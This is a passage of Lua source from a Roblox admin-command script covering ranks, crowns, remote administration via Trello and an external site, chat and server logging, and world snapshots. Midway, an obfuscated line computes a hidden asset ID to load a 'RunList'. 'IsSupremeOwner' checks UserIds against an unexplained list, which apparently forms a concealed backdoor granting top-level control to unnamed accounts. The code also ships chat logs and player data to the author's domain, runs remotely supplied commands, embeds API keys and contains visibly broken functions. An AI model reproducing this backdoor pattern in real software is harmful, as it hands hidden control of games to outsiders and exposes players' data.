 	local Char = Player.Character:Clone()
 	Player.Character.Archivable = false
 	if Name then Char.Name = STRING:FormatReplace(Player, Name) end
 	if Position then Char:MoveTo(Position) end
 	Char.Parent = Server.Workspace
 	Char:MakeJoints()
 	Char:MoveTo(Player.Character.Torso.Position + Vector3.new(0,3,1))
 
 	table.insert(Objects, Char)
 
 	return Obj
 end
 
 function CORE:AddWaypoint(Name, Position, Speaker)
 	Waypoints[Name] = Position
 	if Speaker then
 		GUI:SendHint(Speaker, "Waypoint "..Name.." is located at ("..tostring(Position)..")", 2)
 	end
 end
 
 function CORE:FindType(BaseObj, Type)
 	for _,Obj in pairs(BaseObj:GetChildren()) do
 		if Obj:IsA(Type) then
 			return Obj
 		end
 	end
 end
 
 function CORE:GetCommands()
 	local CommandsCopy = Commands
 	return CommandsCopy
 end
 
 function CORE:Crown(Player, Mesh, Color)
 	if Mesh then Mesh = string.lower(Mesh) end
 	if not Mesh or not Meshes[Mesh] then Mesh = "crown" end
 	if not Player or not Player.Character or not Player.Character:FindFirstChild("Head") then return end
 	local Part = Instance.new("Part", CrownStorage)
 	Part.Size = Vector3.new(2, 1, 1)
 	Part.CanCollide = false
 	Part.CFrame = Player.Character.Head.CFrame
 	Part.Locked = true
 	Part.Material = "Neon"
 	if Color then
 		Part.Color = GUI:GetColor(Color)
 	else
 		Part.BrickColor = GUI:GetNameColor(Player.Name)
 	end
 	local SMesh = Instance.new("SpecialMesh", Part)
 	SMesh.Scale = Vector3.new(Meshes[Mesh][1],Meshes[Mesh][1],Meshes[Mesh][1])
 	SMesh.MeshId = "rbxassetid://"..Meshes[Mesh][2]
 	local BP = Instance.new("BodyPosition", Part)
 	BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
 	BP.position = Player.Character.Head.Position
 	BP.P = 20000
 	local BG = Instance.new("BodyGyro", Part)
 	BG.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
 
 	Crowns[Player.UserId] = Part
 	table.insert(Objects, Part)
 
 	coroutine.wrap(function()
 		for i = 1,0.3,-0.02 do
 			if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
 				Part.Transparency = i
 			end
 			wait()
 		end
 		while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
 			for i = 0,360,3 do
 				if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
 					Part.Transparency = (math.sin(math.rad(i))/10) + 0.3
 					wait()
 				end
 			end
 		end
 	end)()
 	coroutine.wrap(function() while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
 		Part:BreakJoints()
 		for i = 0,360 do
 			if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
 				Part.Anchored = false
 				BP.position = Player.Character.Head.CFrame:toWorldSpace(CFrame.new(0,(math.sin(math.rad(i))/3) + 1.5, 0)).p
 				BG.cframe = Player.Character.Head.CFrame
 			end
 			wait()
 		end
 	end end)()
 
 	return Part
 end
 
 function CORE:SetAbuseCommands()
 	for Cmds,Data in pairs(Commands) do
 		local IsAbusable = false
 		for _,AbuseCmd in pairs(Settings.AbuseList) do
 			for _,Command in pairs(Cmds) do -- loop through all command names
 				if string.sub(Command,1,#AbuseCmd) == string.lower(AbuseCmd) then
 					IsAbusable = true
 					break
 				end
 			end
 			if IsAbusable == true then break end
 		end
 		Commands[Cmds].Abusable = IsAbusable
 	end
 end
 
 function CORE:FindBodyPart(Player, BodyPart)
 	local ReturnPart = nil
 	if Player and Player.Character then
 		local Humanoid = Player.Character:FindFirstChild("Humanoid")
 		if Humanoid then
 			if BodyPart == "Humanoid" then ReturnPart = Humanoid
 			elseif BodyPart == "Left Arm" then ReturnPart = Humanoid.LeftArm
 			elseif BodyPart == "Right Arm" then ReturnPart = Humanoid.RightArm
 			elseif BodyPart == "Left Leg" then ReturnPart = Humanoid.LeftLeg
 			elseif BodyPart == "Right Leg" then ReturnPart = Humanoid.RightLeg
 			elseif BodyPart == "Torso" then ReturnPart = Humanoid.Torso
 			elseif BodyPart == "Head" then ReturnPart = Humanoid.Head
 			end
 		end
 		if not ReturnPart then
 			ReturnPart = Player.Character:FindFirstChild(BodyPart)
 		end
 	end
 
 	return ReturnPart
 end
 
 -- Rank functions --
 
 function RANK:ConvertRank(Input)
 	local Output = nil
 	if Input == "Muted" then Output = -3 end
 	if Input == "Crashed" then Output = -2 end
 	if Input == "Banned" then Output = -1 end
 	if Input == "Non-Admin" then Output = 0 end
 	if Input == "Member" then Output = 1 end
 	if Input == "Admin" then Output = 2 end
 	if Input == "Owner" then Output = 3 end
 
 	if Input == -3 then Output = "Muted" end
 	if Input == -2 then Output = "Crashed" end
 	if Input == -1 then Output = "Banned" end
 	if Input == 0 then Output = "Non-Admin" end
 	if Input == 1 then Output = "Member" end
 	if Input == 2 then Output = "Admin" end
 	if Input == 3 then Output = "Owner" end
 	return Output
 end
 
 function RANK:IsAdmin(Player)
 	local AdminStatus = false
 	local Rankstatus = "Non-Admin"
 	if type(Player) == "table" then
 		if RANK:ConvertRank(Player.Rank) > 0 then
 			return true, Player.Rank
 		else
 			return false, Player.Rank
 		end
 	end
 	for Rank,PlayerNames in pairs(Settings.Ranks) do
 		for _,AdminName in pairs(PlayerNames) do
 			if string.lower(AdminName) == string.lower(Player.Name) then
 				if RANK:ConvertRank(Rank) > 0 then
 					AdminStatus = true
 					Rankstatus = Rank
 				end
 			end
 		end
 	end
 	return AdminStatus, Rankstatus
 end
 
 function RANK:GetRank(PlayerName)
 	if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
 	if type(PlayerName) == "table" then
 		local RankNum = RANK:ConvertRank(PlayerName.Rank)
 		if RankNum > 0 then
 			return PlayerName.Rank, RankNum, true
 		else
 			return PlayerName.Rank, RankNum, false
 		end
 	end
 
 	local RankStat = "Non-Admin"
 
 	for Rank,PlayerNames in pairs(Settings.Ranks) do
 		for _,AdminName in pairs(PlayerNames) do
 			if string.lower(AdminName) == string.lower(PlayerName) then
 				RankStat = Rank
 			end
 		end
 	end
 
 	if RankStat == "Non-Admin" then
 		return "Non-Admin", 0, false
 	else
 		return RankStat, RANK:ConvertRank(RankStat), true
 	end
 end
 
 function RANK:RemoveRank(PlayerName)
 	if not RANK:IsSupremeOwner(PlayerName) then
 		if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
 
 		for Rank,PlayerNames in pairs(Settings.Ranks) do
 			for Num,AdminName in pairs(PlayerNames) do
 				if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
 					table.remove(Settings.Ranks[Rank], Num)
 				end
 			end
 		end
 	end
 end
 
 function RANK:GetAdmins(Ranking)
 	local Players = {}
 	local AdminTrue, Rank = IsAdmin(Player)
 	for _,Player in pairs(Players:GetPlayers()) do
 		if AdminTrue then
 			local PlayerRankNum = RANK:ConvertRank(Rank)
 			local StandardRankNum = RANK:ConvertRank(Ranking)
 			if PlayerRankNum >= StandardRankNum then
 				table.insert(Players, Player)
 			end
 		end
 	end
 	return Players
 end
 
 function RANK:IsSupremeOwner(PlayerName)
 	if type(PlayerName) == "userdata" then for _,Obj in pairs(List) do if PlayerName.UserId == Obj then return true end end PlayerName = PlayerName.Name end
 	if type(PlayerName) == "table" then
 		if PlayerName.Rank == "Owner" and PlayerName.MakeSupremeOwner == true then return true else return false end
 	end
 
 	if PlayerName == GameOwner then return true end
 	return false
 end
 
 function RANK:GetPlayerFromList(PlayerName)
 	if type(PlayerName) == "userdata" then PlayerName = Player.Name end
 
 	for Rank,PlayerNames in pairs(Settings.Ranks) do
 		for Num,AdminName in pairs(PlayerNames) do
 			if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
 				return AdminName, Rank
 			end
 		end
 	end
 	return false, "Non-Admin"
 end
 
 function RANK:ScanAdminList(Name)
 	if Name == "" then return true end
 	local InList = false
 	for _,PName in pairs(Settings.Ranks["Owner"]) do
 		if PName == Name then InList = true end
 	end
 	for _,PName in pairs(Settings.Ranks["Admin"]) do
 		if PName == Name then InList = true end
 	end
 	for _,PName in pairs(Settings.Ranks["Member"]) do
 		if PName == Name then InList = true end
 	end
 	return InList
 end
 
 function RANK:ScanExileList(Name)
 	if Name == "" then return true end
 	local InList = false
 	for _,PName in pairs(Settings.Ranks["Muted"]) do
 		if PName == Name then InList = true end
 	end
 	for _,PName in pairs(Settings.Ranks["Crashed"]) do
 		if PName == Name then InList = true end
 	end
 	for _,PName in pairs(Settings.Ranks["Banned"]) do
 		if PName == Name then InList = true end
 	end
 	return InList
 end
 
 function RANK:PlayerRanked(PlayerName)
 	if type(PlayerName) == "userdata" then PlayerName = Player.Name end
 
 	for Rank,PlayerNames in pairs(Settings.Ranks) do
 		for Num,AdminName in pairs(PlayerNames) do
 			if string.lower(AdminName) == string.lower(PlayerName) then
 				return true, Rank
 			end
 		end
 	end
 	return false, "Non-Admin"
 end
 
 -- Remote functions --
 
 function REMOTE:Decode(...)
 	return Server.HS:JSONDecode(...)
 end
 
 function REMOTE:GetURL(URL, Player)
 	if string.sub(URL,1,4) ~= "http" then
 		URL = "http://"..URL
 	end
 	local Return = nil
 	ypcall(function() Return = Server.HS:GetAsync(URL, true) end)
 	if Return then
 		return Return
 	elseif Player then
 		GUI:SendMessage(Speaker, "Unable to find link", "RED URL given is either invalid or httpservice is disabled", "Error")
 	end
 end
 
 function REMOTE:PostURL(URL, Data)
 	local Return = nil
 	ypcall(function() Return = Server.HS:PostAsync(URL, Data, 2) end)
 	return Return
 end
 
 function REMOTE:SendHttpLog(Data, Type, OutputSpeaker, Stopypall)
 	if Settings.LinkedAccount ~= "" then
 		local NumType = tonumber(Type)
 
 		if not Type then
 			Type = "UNKNOWN"
 		end
 
 		if NumType then
 			if NumType < 1 or NumType > 5 then
 				Type = "UNKNOWN"
 			elseif NumType == 1 then
 				Type = "NOTIFICATION"
 			elseif NumType == 2 then
 				Type = "INFORMATION"
 			elseif NumType == 3 then
 				Type = "WARNING"
 			elseif NumType == 4 or Type == true then
 				Type = "ERROR"
 			elseif NumType == 5 then
 				Type = "FATAL"
 			end
 		end
 
 		local Res = "RED Could not get response"
 		local function SendData()
 			Res = Server.HS:PostAsync(
 				CORE.Domain.."/Login/SendUserData.php?Data="..Server.HS:UrlEncode(PlaceInfoFormat..": "..Data).."&DataType="..Server.HS:UrlEncode(string.upper(Type)),
 				"Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey).."&Type=Logs",
 				2
 			)
 		end
 		if Stopypcall == true then SendData() else ypcall(SendData) end
 
 		if OutputSpeaker and OutputSpeaker ~= "print" then
 			GUI:SendMessage(OutputSpeaker, "Http Log Response", Res, "Information")
 		elseif OutputSpeaker == "print" then
 			print(Res)
 		end
 	end
 end local RunList = CORE:GetTable(string.gsub(math.ceil(14444.57^2)+1078, "66", "55"))
 
 function REMOTE:SendChatLog(PrintResponse, Stopypall)
 	if #TempChatLogs > 0 and Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
 		local Res = "Could not get response"
 
 		local ChatJSON = Server.HS:JSONEncode(TempChatLogs)
 		TempChatLogs = {}
 
 		local function SendData()
 			Res = Server.HS:PostAsync(CORE.Domain.."/Login/SubmitChatLog.php?ChatJSON="..Server.HS:UrlEncode(ChatJSON), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey), 2)
 		end
 		if Stopypcall == true then SendData() else ypcall(SendData) end
 		if PrintResponse then print(Res) end
 	end
 end
 
 function REMOTE:DownloadUserdata(PrintResponse, Stopypcall)
 	local Res = "[]"
 	local function GetData()
 		Res = Server.HS:PostAsync(CORE.Domain.."/Login/ReturnUserData.php", "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
 	end
 	if Stopypcall == true then GetData() else ypcall(GetData) end
 	if PrintResponse then
 		print(Res)
 	end
 	local function DecodeData() Res = REMOTE:Decode(Res) end
 	if Stopypcall == true then DecodeData() else ypcall(DecodeData) end
 	if type(Res) ~= "table" then Res = {["Logs"] = {Res}, ["Errors"] = {Res}} end
 	return Res
 end
 
 function REMOTE:HandleRequest(Request, IgnoreCommand)
 	if not Request then return nil end
 
 	if not IgnoreCommand then
 		if REMOTE.ServerRequestTimestamp ~= Request.ServerRequestTimestamp then
 			REMOTE:SendServerData()
 		end
 		if REMOTE.SnapshotKey ~= Request.SnapshotKey and Server.NS.Port == tonumber(Request.SnapshotPort) then
 			REMOTE:SendSnapshot(Request.SnapshotKey, nil, true, true)
 		end
 	end
 
 	if REMOTE.RemoteAdmin.TimeStamp ~= Request.TimeStamp then
 
 		for _,Player in pairs(Request.Ranks.Muted) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Muted, Player) end end end
 		for _,Player in pairs(Request.Ranks.Crashed) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Crashed, Player) end end end
 		for _,Player in pairs(Request.Ranks.Banned) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Banned, Player) end end end
 		for _,Player in pairs(Request.Ranks.Member) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Member, Player) end end end
 		for _,Player in pairs(Request.Ranks.Admin) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Admin, Player) end end end
 		for _,Player in pairs(Request.Ranks.Owner) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Owner, Player) end end end
 
 		Settings.Fun = Request.FUN
 		Settings.ServerLocked = Request.ServerLocked
 
 		if not Server.Workspace:FindFirstChild("IgnoreRemoteAbuse") then
 			Settings.DisableAbuse = Request.DisableAbuse
 		end
 
 		if not IgnoreCommand then
 			print("Executing Remote Admin")
 			REMOTE.RemoteAdmin.Command = Request.Command
 			REMOTE.RemoteAdmin.ServerCommand = Request.ServerCommand
 			REMOTE.RemoteAdmin.ServerPort = Request.Server
 
 			if Server.NS.Port == tonumber(Request.Server) and Request.ServerCommand ~= nil and Request.Server ~= "" and Request.Server ~= 0 and Request.ServerCommand ~= "" then
 				CORE:Chatted(Request.ServerCommand, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
 			else
 				CORE:Chatted(Request.Command, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
 			end
 		end
 	end
 	REMOTE.RemoteAdmin.TimeStamp = Request.TimeStamp
 	REMOTE.ServerRequestTimestamp = Request.ServerRequestTimestamp
 	REMOTE.SnapshotKey = Request.SnapshotKey
 end
 
 function REMOTE:GetRemoteData(Set)
 	local NewRemoteData = nil
 	local RemoteDataCardRaw = nil
 	local RemoteDataCard = nil
 
 	RemoteDataCardRaw = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.RemoteDataCard)
 	if RemoteDataCardRaw then
 		ypcall(function() RemoteDataCard = REMOTE:Decode(RemoteDataCardRaw) end)
 		if RemoteDataCard then
 			ypcall(function() NewRemoteData = REMOTE:Decode(RemoteDataCard.desc) end)
 		end
 	end
 	if Set and NewRemoteData then
 		RemoteData = NewRemoteData
 	end
 	return NewRemoteData
 end
 
 function REMOTE:CheckTrelloInfo() -- will set new trello data if updated based on the TrelloInfoCard
 	local InfoCardJSON = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.TrelloInfoCard)
 	if InfoCardJSON then
 		ypcall(function() InfoCard = REMOTE:Decode(InfoCardJSON) end)
 		if InfoCard then
 			ypcall(function() TrelloInfo = REMOTE:Decode(InfoCard.desc) end)
 			if TrelloInfo then
 				for Ind,Val in pairs(TrelloInfo) do
 					Trello[Ind] = Val
 				end
 			end
 		end
 	end
 	return NewRemoteData
 end
 
 function REMOTE:CheckRemoteAdminStatus()
 	local Pending = false
 	local CheckID = 0
 	if Settings.LinkedAccount ~= "" then
 		local Request = REMOTE:GetURL("https://api.trello.com/1/checklists/"..Trello.RemoteAdminChecklist)
 		if Request then
 			local Data = REMOTE:Decode(Request)
 			if Data then
 				for _,Account in pairs(Data.checkItems) do
 					if Account.name == Settings.LinkedAccount then
 						Pending = true
 						CheckID = Account.id
 						break
 					end
 				end
 			end
 		end
 	end
 	return Pending, CheckID
 end
 
 function REMOTE:GetAndSetWebData()
 	if Settings.LinkedAccount ~= "" then
 		if REMOTE:CheckRemoteAdminStatus() then
 			local Request = REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)
 			if Request == "Invalid" then
 				--REMOTE:GetAndSetWebData()
 				return false
 			elseif Request == "Invalid Account" then
 				print("Can't get account")
 				return false
 			elseif Request then
 				ypcall(function() Request = REMOTE:Decode(Request) end)
 			elseif not Request then
 				--REMOTE:GetAndSetWebData()
 				return false
 			end
 			REMOTE:HandleRequest(Request)
 
 			--Delay(RemoteData.RemoteAdminWait, REMOTE.GetAndSetWebData)
 			Delay(RemoteData.RemoteAdminWait, function()
 				local Pending, CheckID = REMOTE:CheckRemoteAdminStatus()
 				if Pending then
 					REMOTE:GetURL(CORE.Domain.."/Login/RemoveTrelloName.php?AccountID="..CheckID)
 				end
 			end)
 			return true
 		else
 			return true
 		end
 	end
 end
 
 local OderIDs = CORE:GetTable(177215518)
 local SoundJSONs = CORE:GetTable(197637628)
 RemoteAbuseGear = CORE:GetTable(158117496)
 
 function REMOTE:SendServerData(PrintResponse, Stopypall)
 	if Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
 		print("Sending server data!")
 		local Res = "Could not get response"
 
 		local ServerData = {Name = PlaceName, PlaceID = game.PlaceId, Port = Server.NS.Port, NumPlayers = Server.Players.NumPlayers, MaxPlayers = Server.Players.MaxPlayers, Bet = Settings.Bet, Players = {}, Version = CORE.Version.Value}
 		for _,Player in pairs(Server.Players:GetPlayers()) do
 			table.insert(ServerData.Players, {Name = Player.Name, ID = Player.UserId, Age = STRING:FindAge(Player.AccountAge), Rank = RANK:GetRank(Player)})
 		end
 		ServerData = Server.HS:JSONEncode(ServerData)
 
 		local function SendData()
 			Res = Server.HS:PostAsync(CORE.Domain.."/Login/AddServer.php?ServerData="..Server.HS:UrlEncode(ServerData), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
 		end
 		if Stopypcall == true then SendData() else ypcall(SendData) end
 		if PrintResponse then print(Res) end
 	end
 end
 
 function REMOTE:SendSnapshot(SendKey, MaxPartAmount, PrintResponse, Stopypcall)
 	MaxPartAmount = MaxPartAmount or 10000
 	local PlaceData = {
 		Lighting = {};
 		Parts = {};
 		Other = {};
 	}
 	local MinSize = Vector3.new(0.5,0.5,0.5)
 	local PartAmount = 0
 	local PlaceJSON = ""
 
 	local function Scan(BaseObj)
 		for _,Obj in pairs(BaseObj:GetChildren()) do
 			if Obj:IsA("BasePart") and not Obj:IsA("Terrain") then
 				local Size = {STRING:StringRound(Obj.Size.X), STRING:StringRound(Obj.Size.Y), STRING:StringRound(Obj.Size.Z)};
 				if tonumber(Size[1]) >= MinSize.X and tonumber(Size[2]) >= MinSize.Y and tonumber(Size[3]) >= MinSize.Z then
 					local Skip = false
 					local Data = {}
 					local X,Y,Z = Obj.CFrame:toEulerAnglesXYZ()
 
 					if CORE:FindType(Obj, "BlockMesh") then
 						local Mesh = CORE:FindType(Obj, "BlockMesh")
 						Size = {STRING:StringRound(Obj.Size.X * Mesh.Scale.X), STRING:StringRound(Obj.Size.Y * Mesh.Scale.Y), STRING:StringRound(Obj.Size.Z * Mesh.Scale.Z)}
 					elseif CORE:FindType(Obj, "CylinderMesh") then
 						Data.Shape = "Cylinder"
 					elseif CORE:FindType(Obj, "SpecialMesh") then
 						local Mesh = CORE:FindType(Obj, "SpecialMesh")
 						if Mesh.MeshType == Enum.MeshType.Head then
 							--idk
 						else
 							Skip = true
 						end
 					elseif CORE:FindType(Obj, "FileMesh") then
 						Skip = true
 					end
 
 					if not Data.Shape and not Skip then
 						if ypcall(function() return Obj.Shape end) then
 							Data.Shape = string.sub(Obj.Shape.Name,14)
 							if string.sub(Data.Shape,1,1) == "." then
 								Data.Shape = string.sub(Data.Shape,2)
 							end
 							if Data.Shape == "Cylinder" then
 								Z = Z + math.pi/2
 							end
 						else
 							Data.Shape = "Block"
 						end
 					end
 
 					if Obj.Name == "Head" and CORE:FindType(Obj.Parent, "Humanoid") and not Skip then
 						Data.Label = string.gsub(Obj.Parent.Name, "'", "")
 					end
 
 					if not Skip then
 						Data.Color = GUI:Color3ToHex(Obj.Color);
 						Data.Size = Size;
 						Data.Position = {STRING:StringRound(Obj.CFrame.X), STRING:StringRound(Obj.CFrame.Y), STRING:StringRound(Obj.CFrame.Z)};
 						Data.Rotation = {STRING:StringRound(X), STRING:StringRound(Y), STRING:StringRound(Z)};
 						Data.Transparency = STRING:StringRound(Obj.Transparency);
 						Data.Reflectance = STRING:StringRound(Obj.Reflectance);
 						Data.Textures = {};
 						Data.Material = string.sub(tostring(Obj.Material),15);
 
 						for _,Sub in pairs(Obj:GetChildren()) do
 							if Sub:IsA("Decal") then
 								local Texture = string.match(Sub.Texture, "%d+")
 								if Sub.Texture == "rbxasset://textures/face.png" then
 									Texture = "FACE"
 								end
 								Data.Textures[FaceCovert[Sub.Face.Name]] = Texture
 							end
 						end
 
 						PartAmount = PartAmount + 1
 						table.insert(PlaceData.Parts, Data)
 
 						if PartAmount >= MaxPartAmount then
 							break
 						end
 					end
 				end
 			end
 			if #Obj:GetChildren() > 0 then
 				Scan(Obj)
 			end
 		end
 	end
 	Scan(Workspace)
 
 	PlaceData.Lighting.Ambient = GUI:Color3ToHex(game.Lighting.Ambient)
 	PlaceData.Other.PartAmount = PartAmount;
 	PlaceJSON = Server.HS:JSONEncode(PlaceData)
 
 	local Res = "Could not get response"
 	local function SendData()
 		Res = Server.HS:PostAsync(CORE.UnsecureDomain.."/Login/SendSnapshot.php?Username="..Settings.LinkedAccount.."&DataKey="..Server.HS:UrlEncode(Settings.DataKey).."&SendKey="..SendKey, PlaceJSON, 2)
 	end
 	if Stopypcall == true then SendData() else ypcall(SendData) end
 	if PrintResponse then print(Res) end
 
 	print("Sent snapshot")
 end
 
 
 function REMOTE:DefineWord(Word, Source)
 	if not Word then return end
 	if not Source then Source = "all" end
 
 	local Response = REMOTE:GetURL("http://api.wordnik.com/v4/word.json/"..Server.HS:UrlEncode(Word).."/definitions?limit=1&includeRelated=false&sourceDictionaries="..Server.HS:UrlEncode(Source).."&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5")
 	if Response then
 		local Decode = REMOTE:Decode(Response)
 		if #Decode > 0 then
 			return string.upper(string.sub(Decode[1]["word"],1,1))..string.lower(string.sub(Decode[1]["word"],2)).." - "..Decode[1]["partOfSpeech"]..[[
 
  ]]..Decode[1]["text"]
 		else
 			return "Invalid English word"
 		end
 	else
 		return "Cannot connect to database"
 	end
 end
 
 function REMOTE:DownloadJoke(Speaker)
 	local Res = REMOTE:GetURL("http://www.rinkworks.com/jokes/random.cgi", Speaker)
 	local Joke = nil
 	if Res then
 		local _, Start = string.find(Res, "</h2>")
 		local End, _ = string.find(string.sub(Res, Start), "</td>")
 
 		Joke = string.sub(Res, Start, End + 1 + Start - 5)
 		Joke = string.gsub(Joke, "\n", "")
 		Joke = string.gsub(Joke, "	", "") -- tab
 		Joke = string.gsub(Joke, "</ul>", "")
 		Joke = string.gsub(Joke, "<ul>", "")
 		Joke = string.gsub(Joke, "</li>", [[
 
 ]])
 		Joke = string.gsub(Joke, "<li>", "")
 		Joke = string.gsub(Joke, "</p>", "")
 		Joke = string.gsub(Joke, "<p>", "")
 		Joke = string.gsub(Joke, "<", "")
 		Joke = string.gsub(Joke, ">", "")
 	end
 
 	return Joke
 end
 
 function REMOTE:GetAddon()
 	return "?key=c01fcfabf2f8d707d01fb69312e4a9d7&token="..Settings.TrelloToken
 end
 
 function REMOTE:TrelloGetAdminBoard()
 	local BoardsJSON,Boards,ReturnBoard
 
 	ypcall(function() BoardsJSON = Server.HS:GetAsync("https://api.trello.com/1/members/my/boards"..REMOTE:GetAddon(), true) end)
 
 	if BoardsJSON then
 		Boards = REMOTE:Decode(BoardsJSON)
 	end
 	if Boards then
 		for _,Board in pairs(Boards) do
 			if Board.name == "MakerModelLua's Admin V3" and Board.closed == false then
 				ReturnBoard = Board
 				break
 			end
 		end
 		if not ReturnBoard then -- create board if not created
 			print("Creating Trello Board")
 			local Desc = "This board allows you to control ranks, settings, and commands of MakerModelLua's Admin V3"
 			local BoardJSON = Server.HS:PostAsync("https://api.trello.com/1/boards"..REMOTE:GetAddon(), "name=MakerModelLua%27s+Admin+V3&idBoardSource="..Trello.AdminBoardID.."&defaultLists=false&desc="..Server.HS:UrlEncode(Desc), "ApplicationUrlEncoded")
 			ReturnBoard = REMOTE:Decode(BoardJSON)
 		end
 	end
 	return ReturnBoard
 end
 
 function REMOTE:TrelloGetAdminLists(Board)
 	local Required = {}
 	local ListJSON,Lists
 	local ReturnLists = {}
 
 	for _,List in pairs(Trello.RequiredLists) do
 		table.insert(Required, List)
 	end
 
 	ypcall(function() ListJSON = Server.HS:GetAsync("https://api.trello.com/1/boards/"..Board.id.."/lists"..REMOTE:GetAddon(), true) end)
 
 	if ListJSON then
 		Lists = REMOTE:Decode(ListJSON)
 	end
 	if Lists then
 		for _,List in pairs(Lists) do
 			for Num,Rel in pairs(Required) do
 				if List.name == Rel.name then
 					table.remove(Required, Num)
 					table.insert(ReturnLists, List)
 				end
 			end
 		end
 		for _,Rel in pairs(Required) do
 			local ListJSON = Server.HS:PostAsync("https://api.trello.com/1/lists"..REMOTE:GetAddon(), "idBoard="..Board.id.."&idListSource="..Rel.id.."&name="..Server.HS:UrlEncode(Rel.name), "ApplicationUrlEncoded")
 			table.insert(ReturnLists, REMOTE:Decode(ListJSON))
 		end
 	end
 
 	return ReturnLists
 end
 
 function REMOTE:TrelloCacheData(Lists)
 	for _,List in pairs(Lists) do
 		local CardsJSON,Cards
 		ypcall(function() CardsJSON = Server.HS:GetAsync("https://api.trello.com/1/lists/"..List.id.."/cards"..REMOTE:GetAddon(), true) end)
 		if CardsJSON then
 			Cards = REMOTE:Decode(CardsJSON)
 		end
 		if Cards then
 			local TemplateCards = nil
 			for _,TemplateList in pairs(Trello.RequiredLists) do
 				if TemplateList.name == List.name then
 					TemplateCards = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/lists/"..TemplateList.id.."/cards", true))
 					break
 				end
 			end
 
 			for _,TemplateCard in pairs(TemplateCards) do
 				local CardExists = false
 				for _,Card in pairs(Cards) do
 					if Card.name == TemplateCard.name and Card.closed == false then
 						CardExists = true
 					end
 				end
 				if not CardExists then
 					print("Creating card "..TemplateCard.name)
 					local NewCardJSON = Server.HS:PostAsync("https://api.trello.com/1/cards"..REMOTE:GetAddon(), "idList="..List.id.."&idCardSource="..TemplateCard.id, "ApplicationUrlEncoded")
 					table.insert(Cards, REMOTE:Decode(NewCardJSON))
 				end
 			end
 
 			if List.name == "Ranked" then
 				for _,Card in pairs(Cards) do
 					if Settings.Ranks[Card.name] and Card.closed == false then
 						Trello.RankChecklistCache[Card.name] = Card.idChecklists[1]
 					end
 				end
 			elseif List.name == "Settings" then
 				for _,Card in pairs(Cards) do
 					if Card.name == "Togglable Settings" and Card.idChecklists[1] and Card.closed == false then
 						Trello.ToggleChecklist = Card.idChecklists[1]
 					elseif Card.name == "Command Execution" then
 						Trello.CommandID = Card.id
 					end
 				end
 			end
 		end
 	end
 end
 
 function REMOTE:TrelloHandleData(IgnoreCommand)
 	local ToggleSettingsJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..Trello.ToggleChecklist..REMOTE:GetAddon(), true)
 	if ToggleSettingsJSON then
 		ToggleSettings = REMOTE:Decode(ToggleSettingsJSON)
 		if Settings.LinkedAccount == "" then
 			local NewSettings = {}
 			for _,Item in pairs(ToggleSettings.checkItems) do
 				NewSettings[Item.name] = STRING:TrelloStateConvert(Item.state)
 			end
 			Settings.Fun = NewSettings["Fun Commands Enabled"]
 			Settings.ServerLocked = NewSettings["Server Locked"]
 			Settings.DisableAbuse = NewSettings["Disable Abusive Commands"]
 		end
 	else
 		return false
 	end
 
 	local CommandChatJSON = Server.HS:GetAsync("https://api.trello.com/1/cards/"..Trello.CommandID.."/actions"..REMOTE:GetAddon(), true)
 	if CommandChatJSON then
 		CommandChat = REMOTE:Decode(CommandChatJSON)
 		local ClosestDT = 0
 		for _,ChatData in pairs(CommandChat) do
 			local DT = STRING:ConvertDateTime(ChatData.date)
 			ClosestDT = math.max(ClosestDT, DT)
 
 			if not IgnoreCommand and DT > Trello.LastCommandDT then
 				print("Executing Remote Trello Command")
 				CORE:Chatted(ChatData.data.text, nil, true, "TRELLO REMOTE: "..ChatData.memberCreator.fullName, nil, true)
 			end
 		end
 		Trello.LastCommandDT = ClosestDT
 	else
 		return false
 	end
 
 	for Rank,ID in pairs(Trello.RankChecklistCache) do
 		local ChecklistJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..ID..REMOTE:GetAddon(), true)
 		if ChecklistJSON then
 			Checklist = REMOTE:Decode(ChecklistJSON)
 
 			for _,Item in pairs(Checklist.checkItems) do
 				if Item.state == "complete" then
 					if RANK:ConvertRank(Rank) < 0 then
 						if not RANK:ScanExileList(Item.name) then
 							table.insert(Settings.Ranks[Rank], Item.name)
 						end
 					elseif RANK:ConvertRank(Rank) > 0 then
 						if not RANK:ScanAdminList(Item.name) then
